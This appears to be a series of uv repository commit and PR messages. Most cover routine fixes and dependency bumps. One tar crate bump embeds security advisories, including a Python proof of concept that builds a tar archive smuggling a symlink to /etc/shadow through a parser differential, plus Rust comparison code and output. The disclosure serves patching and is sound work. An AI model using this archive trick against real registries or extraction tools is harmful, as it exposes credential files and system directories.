This PR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [tar](https://redirect.github.com/alexcrichton/tar-rs) |
workspace.dependencies | patch | `0.4.44` → `0.4.45` |
### GitHub Vulnerability Alerts
####
[CVE-2026-33056](https://redirect.github.com/alexcrichton/tar-rs/security/advisories/GHSA-j4xf-2g29-59ph)
## Summary
When unpacking a tar archive, the `tar` crate's `unpack_dir` function
uses `fs::metadata()` to check whether a path that already exists is a
directory. Because `fs::metadata()` follows symbolic links, a crafted
tarball containing a symlink entry followed by a directory entry with
the same name causes the crate to treat the symlink target as a valid
existing directory — and subsequently apply `chmod` to it. This allows
an attacker to modify the permissions of arbitrary directories outside
the extraction root.
## Reproducer
A malicious tarball contains two entries: (1) a symlink `foo` pointing
to an arbitrary external directory, and (2) a directory entry `foo/.`
(or just `foo`). When unpacked, `create_dir("foo")` fails with `EEXIST`
because the symlink is already on disk. The `fs::metadata()` check then
follows the symlink, sees a directory at the target, and allows
processing to continue. The directory entry's mode bits are then applied
via `chmod`, which also follows the symlink — modifying the permissions
of the external target directory.
## Fix
The fix is very simple, we now use `fs::symlink_metadata()` in
`unpack_dir`, so symlinks are detected and rejected rather than
followed.
## Credit
This issue was reported by @​xokdvium - thank you!
####
[CVE-2026-33055](https://redirect.github.com/alexcrichton/tar-rs/security/advisories/GHSA-gchp-q4r4-x4ff)
### Summary
As part of
[CVE-2025-62518](https://www.cve.org/CVERecord?id=CVE-2025-62518) the
astral-tokio-tar project was changed to correctly honor PAX size headers
in the case where it was different from the base header.
However, it was missed at the time that this project (the original Rust
`tar` crate) had a conditional logic that skipped the PAX size header in
the case that the base header size was nonzero - almost the inverse of
the astral-tokio-tar issue.
The problem here is that *any* discrepancy in how tar parsers honor file
size can be used to create archives that appear differently when
unpacked by different archivers.
In this case, the tar-rs (Rust `tar`) crate is an outlier in checking
for the header size - other tar parsers (including e.g. Go
`archive/tar`) unconditionally use the PAX size override.
### Details
https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344
### PoC
(originally posted by https://github.com/xokdvium)
> I was worried that cargo might be vulnerable to malicious crates, but
it turns out that crates.io has been rejecting both symlinks and hard
links:
It seems like recent fixes to https://edera.dev/stories/tarmageddon have
introduced a differential that could be used to smuggle symlinks into
the registry that would get skipped over by `astral-tokio-tar` but not
by `tar-rs`.
https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344
```python
#!/usr/bin/env python3
B = 512
def pad(d):
r = len(d) % B
return d + b"\0" * (B - r) if r else d
def hdr(name, size, typ=b"0", link=b""):
h = bytearray(B)
h[0 : len(name)] = name
h[100:107] = b"0000644"
h[108:115] = h[116:123] = b"0001000"
h[124:135] = f"{size:011o}".encode()
h[136:147] = b"00000000000"
h[148:156] = b" "
h[156:157] = typ
if link:
h[157 : 157 + len(link)] = link
h[257:263] = b"ustar\x00"
h[263:265] = b"00"
h[148:155] = f"{sum(h):06o}\x00".encode()
return bytes(h)
INFLATED = 2048
pax_rec = b"13 size=2048\n"
ar = bytearray()
ar += hdr(b"./PaxHeaders/regular", len(pax_rec), typ=b"x")
ar += pad(pax_rec)
content = b"regular\n"
ar += hdr(b"regular.txt", len(content))
mark = len(ar)
ar += pad(content)
ar += hdr(b"smuggled", 0, typ=b"2", link=b"/etc/shadow")
ar += b"\0" * B * 2
used = len(ar) - mark
if used < INFLATED:
ar += b"\0" * (((INFLATED - used + B - 1) // B) * B)
ar += b"\0" * B * 2
open("smuggle.tar", "wb").write(bytes(ar))
```
`tar-rs` and `astral-tokio-tar` parse it differently, with
`astral-tokio-tar` skipping over the symlink (so presumably the check
from
https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102
wouldn't disallow it).
```rust
use std::fs;
use std::path::PathBuf;
fn sync_parse(data: &[u8]) {
println!("tar:");
let mut ar = tar::Archive::new(data);
for e in ar.entries().unwrap() {
let e = e.unwrap();
let path = e.path().unwrap().to_path_buf();
let kind = e.header().entry_type();
let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());
match link {
Some(l) => println!(" {:20} {:?} -> {}", path.display(), kind, l.display()),
None => println!(" {:20} {:?}", path.display(), kind),
}
}
println!();
}
async fn async_parse(data: Vec<u8>) {
println!("astral-tokio-tar:");
let mut ar = tokio_tar::Archive::new(data.as_slice());
let mut entries = ar.entries().unwrap();
while let Some(e) = tokio_stream::StreamExt::next(&mut entries).await {
let e = e.unwrap();
let path = e.path().unwrap().to_path_buf();
let kind = e.header().entry_type();
let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf());
match link {
Some(l) => println!(" {:20} {:?} -> {}", path.display(), kind, l.display()),
None => println!(" {:20} {:?}", path.display(), kind),
}
}
println!();
}
#[tokio::main]
async fn main() {
let path = std::env::args().nth(1).unwrap_or("smuggle.tar".into());
let data = fs::read(&path).unwrap();
sync_parse(&data);
async_parse(data).await;
}
```
```
tar:
regular.txt Regular
smuggled Symlink -> /etc/shadow
astral-tokio-tar:
regular.txt Regular
```
### Impact
This can affect anything that uses the `tar` crate to parse archives and
expects to have a consistent view with other parsers. In particular it
is known to affect crates.io which uses `astral-tokio-tar` to parse, but
cargo uses `tar`.
---
### Release Notes
<details>
<summary>alexcrichton/tar-rs (tar)</summary>
###
[`v0.4.45`](https://redirect.github.com/alexcrichton/tar-rs/compare/0.4.44...0.4.45)
[Compare
Source](https://redirect.github.com/alexcrichton/tar-rs/compare/0.4.44...0.4.45)
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/uv).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My42Ni40IiwidXBkYXRlZEluVmVyIjoiNDMuNjYuNCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiaW50ZXJuYWwiLCJzZWN1cml0eSJdfQ==-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
When a dependency is removed, `toml_edit` stores any trailing comments
in the prefix of the next item. Our implementation did not account for
this, causing trailing comments on a dependency to be dropped when the
subsequent item is removed.
For example, when removing `requests` from:
```toml
dependencies = [
"numpy", # essential comment
"requests",
]
```
With this fix, the comment is preserved.
Closes#18555
---------
Co-authored-by: Claude <noreply@anthropic.com>
Closes https://github.com/astral-sh/uv/issues/17959
Expands discovery to always include a system scan even if
`--managed-python` is used to find links to managed interpreters on the
`PATH`. Then filters reported interpreters by whether or not they are
managed after discovery, so `--no-managed-python` will never report
those symlinks.
---------
Co-authored-by: Claude <noreply@anthropic.com>
Applies a patch to use Python 3.6 compatible types in our vendored
`packaging` implementation used in the interpreter query script. Adds
Python 3.6 and 3.7 test coverage in CI.
## Summary
Almost all of the MVP roadmap is done, so this unhides `uv audit`.
See #18506.
## Test Plan
NFC, but will bump the snapshots.
---------
Signed-off-by: William Woodruff <william@astral.sh>
This PR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [tempfile](https://stebalien.com/projects/tempfile-rs/)
([source](https://redirect.github.com/Stebalien/tempfile)) |
workspace.dependencies | minor | `3.25.0` → `3.27.0` |
---
### Release Notes
<details>
<summary>Stebalien/tempfile (tempfile)</summary>
###
[`v3.27.0`](https://redirect.github.com/Stebalien/tempfile/blob/HEAD/CHANGELOG.md#3270)
[Compare
Source](https://redirect.github.com/Stebalien/tempfile/compare/v3.26.0...v3.27.0)
This release adds `TempPath::try_from_path` and deprecates
`TempPath::from_path`.
Prior to this release, `TempPath::from_path` made no attempts to convert
relative paths into absolute paths. The following code would have
deleted the wrong file:
```rust
let tmp_path = TempPath::from_path("foo")
std::env::set_current_dir("/some/other/path").unwrap();
drop(tmp_path);
```
Now:
1. `TempPath::from_path` will attempt to convert relative paths into
absolute paths. However, this isn't always possible as we need to call
`std::env::current_dir`, which can fail. If we fail to convert the
relative path to an absolute path, we simply keep the relative path.
2. The `TempPath::try_from_path` behaves exactly like
`TempPath::from_path`, except that it returns an error if we fail to
convert a relative path into an absolute path (or if the passed path is
empty).
Neither function attempt to verify the existence of the file in
question.
Thanks to [@​meng-xu-cs](https://redirect.github.com/meng-xu-cs)
for reporting this issue.
###
[`v3.26.0`](https://redirect.github.com/Stebalien/tempfile/blob/HEAD/CHANGELOG.md#3260)
- Support `NamedTempFile::persist` on RedoxOS
([#​393](https://redirect.github.com/Stebalien/tempfile/issues/393))
(thanks to
[@​Andy-Python-Programmer](https://redirect.github.com/Andy-Python-Programmer)).
</details>
---
### Configuration
📅 **Schedule**: Branch creation - Between 12:00 AM and 03:59 AM, only on
Monday ( * 0-3 * * 1 ) (UTC), Automerge - At any time (no schedule
defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/astral-sh/uv).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My42Ni40IiwidXBkYXRlZEluVmVyIjoiNDMuNjYuNCIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiYnVpbGQ6c2tpcC1kb2NrZXIiLCJidWlsZDpza2lwLXJlbGVhc2UiLCJpbnRlcm5hbCJdfQ==-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Pulled out of https://github.com/astral-sh/uv/pull/18517
I don't have aarch64 hardware available locally, but Claude posited:
> When an armv7 binary runs on an aarch64 kernel (e.g., armv7l
containers on aarch64 hosts, or 32-bit Raspberry Pi OS on 64-bit
hardware), /proc/cpuinfo reports aarch64-style feature flags instead of
armv7 flags. The existing check for "vfp" fails because aarch64 uses
"fp" instead.
>
> Add detection of the aarch64 "fp" feature flag (mandatory on all
aarch64 CPUs) as a discrete token, indicating hardware floating-point
support. This ensures uv selects the gnueabihf (hard-float) Python
variant instead of the gnueabi (soft-float) variant.
I reproduced this in https://github.com/astral-sh/uv/pull/18532
Under QEMU on aarch64 macOS, both the `vfp` and `fp` feature flags are
set.
Closes#18509
The content is unchanged.
I'm planning to expand the content in the Python version and Platform
support files and generally don't like that these are mixed.
## Summary
`flashinfer_jit_cache-0.5.3+cu130-cp39-abi3-manylinux_2_28_x86_64.whl`
needs to be interpreted as "Python 3.9 or later", but our "implied
markers" coverage was interpreting it as `==3.9.*`.
Closes https://github.com/astral-sh/uv/issues/18527.
Closes https://github.com/astral-sh/uv/issues/18508
This unintentionally regressed in
https://github.com/astral-sh/uv/pull/17714 as it appeared that
`--project <file>` always failed but it actually succeeds if the file is
has an ancestor directory with a `pyproject.toml`.
This also removes the warning for `--project [path/]pyproject.toml` as I
think that's a fine use-case.
---------
Co-authored-by: Claude <noreply@anthropic.com>